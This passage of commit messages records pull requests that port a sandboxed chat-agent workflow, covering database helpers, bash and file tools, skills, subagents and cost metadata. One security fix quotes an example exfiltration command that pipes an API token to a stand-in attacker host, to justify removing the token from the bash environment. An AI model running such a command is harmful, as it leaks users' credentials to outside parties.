(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)
Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.
New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
(key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
only. Global skills (~/.skills) port later alongside short-lived
token minting
New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.
Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
start(workflow); empty catalog on discovery failure (best-effort,
never blocks the request)
Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
load + return content, but its curl examples wouldn't authenticate
without ad-hoc credentials. Token minting becomes a separate PR
where it can be designed properly (Privy JWT vs server-minted JWT
scoped to accountId + sandbox session).
Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)
The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):
- \${workingDirectory}/.claude/skills/ (project, claude-style)
- \${workingDirectory}/.agents/skills/ (project, agents-style)
- \${HOME}/.agents/skills/ (global; populated at
provisioning by
installSessionGlobalSkills)
Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.
Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants
Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.
Full suite 3053/3053; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)
Two changes per user direction:
1. **YAGNI: drop project-skill directory scanning.** All skills are
provisioned globally via `installSessionGlobalSkills` at sandbox
startup — org repos do NOT bundle their own skill directories.
getSandboxSkillDirectories now returns just the single global
path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
and the PROJECT_SKILL_BASE_FOLDERS array.
2. **SRP: extract getSkills into its own file.** Previously inline in
skillTool.ts (per sweetman comment on PR 587). Now lives at
lib/skills/getSkills.ts with its own tests. Future skill-aware
consumers (e.g. system-prompt builders) share the same accessor
instead of duplicating the context-cast.
Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
- Sandbox provisioning installs 2 globals at
/home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
- Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
received 11,173 chars of SKILL.md content with the correct
"Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
header
Full suite 3055/3055; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory
Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:
- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
- 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
getSandboxSkillDirectories.ts
- 2 new unit tests (standard path, trailing-slash tolerance)
discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).
Full suite passes; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)
Completes the open-agents tool surface. The agent now has all 11 tools.
**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.
**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.
The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
executor/explorer/design all explicitly omit task too; subagents
are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
open-agents subagent curation; subagents run autonomously, don't
plan from scratch, don't make web calls, don't load further skills)
AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.
buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).
Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.
Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(task-tool): provide non-empty subagent prompt
The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."
Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)
Address PR review feedback:
- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
(one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
model: LanguageModel / subagentModel?: LanguageModel. api can't follow
that exact shape because agentContext is part of a durable Vercel
Workflow input and LanguageModel objects aren't JSON-serializable.
Instead of inventing modelId on AgentContext, hardcode a default
subagent model id in taskTool. A subagentModelId override field can
be added if/when a real consumer needs it.
Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent): align AgentContext + model resolution with open-agents
Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):
- AgentContext gains `model: LanguageModel` (required) and
`subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
for the workflow input shape, since LanguageModel instances aren't
JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
per step and merges it into experimental_context — same pattern as
open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
mirror open-agents' utility functions: getSubagentModel returns
`ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
getSubagentModel(experimental_context, "task") instead — subagent
now defaults to the same model the parent is running.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)
* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)
First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.
New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
open-agents' gateway-metadata.ts, parses gateway-reported per-step
cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
stateful factory returning a fresh callback per turn; accumulates
usage + cost across finish-step parts.
Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).
Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage
Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:
- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
in AgentMessageMetadata)
Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
@ai-sdk/mcp: all bumped to latest stable
The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
directly)
Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
(now returns Promise<ModelMessage[]>)
Tests: 3106/3106 pass; production typecheck clean; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)
Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:
- An initial "Subagent · 0 tools · 0 tokens" card with stable
startedAt timestamp
- A live `pending: {name, input}` indicator for each tool-call
- Accumulated `usage` after each finish-step
- A final `{final: ModelMessage[], ...}` chunk containing the full
subagent transcript for expandable rendering
`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.
New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
addLanguageModelUsage to handle undefined inputs without
introducing zero-tokens placeholders.
Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.
Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): thread real cwd + currentBranch into system prompt (cutover Bundle A.7) (#597)
* feat(chat-workflow): thread real cwd + currentBranch into system prompt (Bundle A.7)
Third open-agents → api cutover bundle. The handler hardcoded
`workingDirectory: DEFAULT_WORKING_DIRECTORY` and never set
`currentBranch`, so the agent had no environment info in its system
prompt and had to run `pwd` / `git branch` on every turn.
Production verification (today, before this fix):
agent: "My system prompt does not contain working directory or
branch information."
After this fix the agent receives an Environment section + Current
branch line + cloud-sandbox checkpointing block — same shape as
open-agents (sandbox.recoupable.com) emits.
Changes:
- New `lib/chat/buildAgentSystemPrompt.ts` (SRP) — assembles
environment section → Current branch → cloud-sandbox checkpointing
→ custom instructions, all conditional on inputs. Mirrors
open-agents' `buildSystemPrompt` (packages/agent/system-prompt.ts).
- New `lib/chat/cloudSandboxInstructions.ts` (SRP) — ports
open-agents' `CLOUD_SANDBOX_INSTRUCTIONS` block with `{branch}`
placeholder substitution.
- `handleChatWorkflowStream`: connect the sandbox once for both skill
discovery AND cwd/branch reading, then thread real values into
`AgentContext.sandbox.workingDirectory` + `.currentBranch`. On
connect failure, fall back to DEFAULT_WORKING_DIRECTORY (preserves
today's behavior; tools surface real errors later when they
reconnect).
- `runAgentStep`: build the system prompt via
`buildAgentSystemPrompt({cwd, currentBranch, customInstructions})`
instead of using the static `agentCustomInstructions` directly.
Scope reduced from the original "A.7+9" bundle: dropped contextLimit
plumbing because it's a client-side display concern in open-agents,
not server-side model routing (verified via grep — open-agents'
server never reads context.contextLimit either).
Tests: 7 new (6 buildAgentSystemPrompt + 1 runAgentStep wiring);
full suite 3121/3121 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore(chat-workflow): drop currentBranch handling from system prompt
Per direction: branch is always `main` (the default branch) in api's
deployment topology, so the per-branch `Current branch: <name>` line
and cloud-sandbox checkpointing block don't add information today.
Strip the templating to keep the system prompt focused on what's
load-bearing (the Environment section indicating workspace-relative
paths).
- Delete `lib/chat/cloudSandboxInstructions.ts` (was a port of
open-agents' CLOUD_SANDBOX_INSTRUCTIONS, only useful with a real
per-session branch)
- Drop `currentBranch` from `buildAgentSystemPrompt` options +
rendering
- Stop reading `sandbox.currentBranch` in handleChatWorkflowStream
(the field stays on AgentContext.sandbox for type completeness;
also consumed by createSandboxHandler unchanged)
- Remove branch-related test cases
Can be re-added later if/when meaningful per-session branches (e.g.
xx/abcdef12 generated branches) land.
Tests: 3119/3119 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): drop stale currentBranch arg from buildAgentSystemPrompt call
Build failure on bf1e245 — runAgentStep was still passing
`currentBranch: input.agentContext.sandbox.currentBranch` after
buildAgentSystemPrompt's option was removed. Stripping it.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 22, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
